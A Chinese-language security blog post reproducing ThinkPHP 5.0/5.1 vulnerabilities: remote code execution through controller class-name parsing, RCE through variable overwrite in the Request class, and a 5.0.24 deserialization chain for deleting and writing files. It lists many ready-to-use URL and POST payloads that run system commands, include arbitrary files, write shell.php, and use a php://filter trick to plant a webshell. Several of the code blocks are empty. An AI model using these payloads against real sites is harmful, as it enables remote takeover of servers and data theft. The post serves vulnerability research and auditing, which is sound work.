本篇博文会复现大多数tp5的漏洞,持续更新
审计环境搭建
安装thinkphp
推荐使用composer,版本切换很方便
composer create-project --prefer-dist topthink/think=5.0.10 tp5.0.10
将 composer.json 文件的 require 字段设置成如下:
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},
然后执行 composer update
PhpStorm+Xdebug调试环境
可以看我另外一篇文章:Debian下PHP Xdebug调试环境搭建
另外VSCode+Xdebug也是一个不错且方便的选择
框架基本流程
框架基本流程网上都讲的很清楚,我这里就不搬运了
这两篇文章讲的很不错:
https://paper.seebug.org/888/#_4
RCE-类名解析导致任意类方法调用
ThinkPHP版本:5.0.7<=5.0.x<=5.0.22 、5.1.0<=5.1.x<=5.1.30
参考:
概述
本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。不同版本 payload 需稍作调整:
5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x :
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.1.x类名解析
2018年12月9日官方发布的补丁,在library/think/route/dispatch/Module.php获取控制器名处加了个一个正则waf
洞其实不在这里
在路由调度的时候:
跟进到thinkphp/library/think/route/dispatch/Module.php:
跟进controller方法:(thinkphp/library/think/App.php)
跟进parseModuleAndClass方法:(thinkphp/library/think/App.php)
这个方法先对$name
(类名)进行判断,当$name
含有\
时会直接将其作为类的命名空间路径,导致我们可以任意方法调用,比如:
- thinkphp/library/think/Container.php:
http://127.0.0.1/public/index.php?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
通过自动加载的特性,think\Container
可以直接调用thinkphp/library/think/Container.php的危险方法invokefunction
,造成RCE。
- thinkphp/library/think/Request.php:
因为是private,所以查找同一类里面的用例:
- Request::input方法:
构造poc:
http://127.0.0.1/public/index.php?s=index/think\request/input&data=1&filter=phpinfo&name=
- Request::cookie方法:
构造poc:
http://127.0.0.1/public/?s=index/think\request/cookie&name=cmd&filter=phpinfo
[HTTP header]
Cookie: cmd=1
同样成功RCE。
- thinkphp/library/think/template/driver/File.php:
构造poc:
http://127.0.0.1/public/?s=index/think\template\driver\file/write&cacheFile=/tmp/test.txt&content=hacked
成功写入/tmp/test.txt文件。
5.0.x类名解析
thinkphp/library/think/Loader.php:
原理类似,在App::run()
方法里面,Loader::controller
进行调度的时候,当$name
含有\
时会直接将其作为类的命名空间路径,导致我们可以任意方法调用。比如:
- thinkphp/library/think/App.php:
构造poc:
http://127.0.0.1/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
http://127.0.0.1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
eval因为不是函数不能直接回调,在特定php版本情况下可以使用assert直接RCE,或者利用其他函数读写文件。
需要注意的问题
在https://xz.aliyun.com/t/3570#toc-3这篇文章里面提到:
因为默认配置会判断是否自动转换控制器,将控制器名变成小写
又因为
Loader.php::autoloadwin
在win环境下严格区分大小写,所以导致有些类加载不到
但是我在Kali下经过小写转换同样也没办法加载到,可能是因为Linux本来就区分大小写?
如此一来,着手点只有框架在加载的时候就已经加载的类了
RCE-Request核心类变量覆盖
ThinkPHP版本:5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
参考:
概述
Request核心类**$method** 来自可控的 $_POST 数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST 。导致可以随意调用 Request 类的部分方法
payload:
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
5.0.10变量覆盖
测试用的payload(版本5.0.10):
http://127.0.0.1/public/index.php?s=index
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami
在App::run()方法进行路由检测的时候,在Route.php大约843行调用$request->method()
方法
thinkphp/library/think/Request.php:
可以看到有一个可以控制的函数名$_POST[Config::get['var_method']
,而var_method
的值在application/config.php里面为_method
:
于是可以POST传入_method
改变$this->{$this->method}($_POST);
达到任意调用此类中的方法
而如果调用此类中的__construct
方法:
有一个foreach,可以引起POST数据对Requests对象属性的变量覆盖。
在App::run()方法里面,如果我们开启了debug模式,则会调用Request::param()方法:
当然,即使没有开启debug,在App::run()里面的调用的exec方法同样也会调用Request::param()方法
因为调用栈太深,就不一个个跟了
这个方法我们需要特别关注了,因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input
方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func 函数
小结
不同的payload触发流程不一样,但是核心是一样的。
任意方法调用发生在method(),变量覆盖发生在__construct(),rce发生在filterValue()
5.0.24反序列化利用链
反序列化复现首先需要自己构造一个反序列化触发点:
### Windows类-任意文件删除
在thinkphp/library/think/process/pipes/Windows.php:
|
|
由于$this->files
可控,我们可以利用其实现任意文件删除
poc:
|
|
只需要一个反序列化触发点,就可以实现任意文件删除。
Output类__call
方法任意文件写
Thinkphp 5.0.x反序列化最后触发RCE,本来要调用的
Request
类__call
方法.参考:
https://xz.aliyun.com/t/8143#toc-10
https://www.anquanke.com/post/id/196364#h2-2
还是从Windows类的__destruct
入手
在上述Windows类的removeFiles()
中使用了file_exists()
函数,这个函数会把$filename
当作字符串处理
利用这一点,我们可以传入一个对象来触发__toString
方法,于是全局搜索__toString
可以看到他调用了toJson
方法,因为class Model
是一个抽象类,不能直接调用,所以我们目光移到子类里面
可以通过thinkphp/library/think/model/Pivot.php这个里面的类进行调用
跟进toJson
方法:
|
|
调用了$this->toArray
,跟进toArray
方法:
|
|
因为最终要触发__call
,我们需要找到函数调用的地方,在toArray里面有这几处:
经过调试过后选择最后一处$item[$key] = $value ? $value->getAttr($attr) : null
要进入到这一处要满足的条件是:
|
|
且不满足
|
|
其中$value
是由这两行确定的:
需要满足$modelRelation
可控,经过查找,可以将$relation
设为'getError',$modelRelation
就变成了$this->getError()
的返回值:
|
|
跟进getRelationDate:
这里又给我们增加了条件:
-
5.最后传入的
$modelRelation
需要是Relation
类型 -
6.最后返回值
$values
需要经过if
语句判断$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)
才能让$value
可控这里有两条路,一种是符合if判断直接返回,另一种是不满足,进而调用getRelation方法
具体可参考https://www.anquanke.com/post/id/219327
第二条路全局查找getRelation方法且为Relation子类的类,找到了HasOne(/thinkphp/library/think/model/relation/HasOne.php)
第一条路,符合if判断之后$value
可控,得到返回值$values
之后代码跳出getRelationDate方法,运行至条件3处
if (method_exists($modelRelation, 'getBindAttr'))
,发现在HasOne的父类OneToOne里面是可控的:
那么条件4也得到了解决。代码执行到了$item[$key] = $value ? $value->getAttr($attr) : null
控制$value
就能调用__call
方法;
之前我们有提到要RCE需要调用Request类的__call
方法,但是由于self::$hook[$method]
不可控,无法成功利用
于是我们可以寻找其他的方法,比如Output类的__call
方法
这里调用了block方法,跟进:
继续跟进:
疯狂跟进:
$this->handle
是可控的,继续全局搜索write,寻找可控的点,找到了/thinkphp/library/think/session/driver/Memcached.php
同样$this->handle
可控,继续全局搜索set,找到thinkphp/library/think/cache/driver/File.php
可以file_put_contents
写shell,并且$filename
在getCacheKey方法当中是可控的,伪协议绕一下exit就可以了
但是$data
比较麻烦,他从传入的$value
取值,set
方法中的参数来自先前调用的write
方法,write
之前在writeln的时候就传入了true,不可控。偷一张图:
继续跟进后面的setTagItem方法,我们可以看到它再次调用了set方法:
且文件内容$value
通过$name
赋值(文件名),所以我们可以在文件名上面下功夫,比如php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>
这种
exp,可以实现在Windows写文件(来自网络):
|
|
小结
在挖掘这种大型框架的反序列化链子的时候,代码量巨大,我们要在其中寻找:
- 危险函数(回调,读写文件,命令执行等)
- 同名方法(往往可以作为跳板)
- 可控参数(越多越好)
另外有一篇文章总结的挺不错https://xz.aliyun.com/t/8082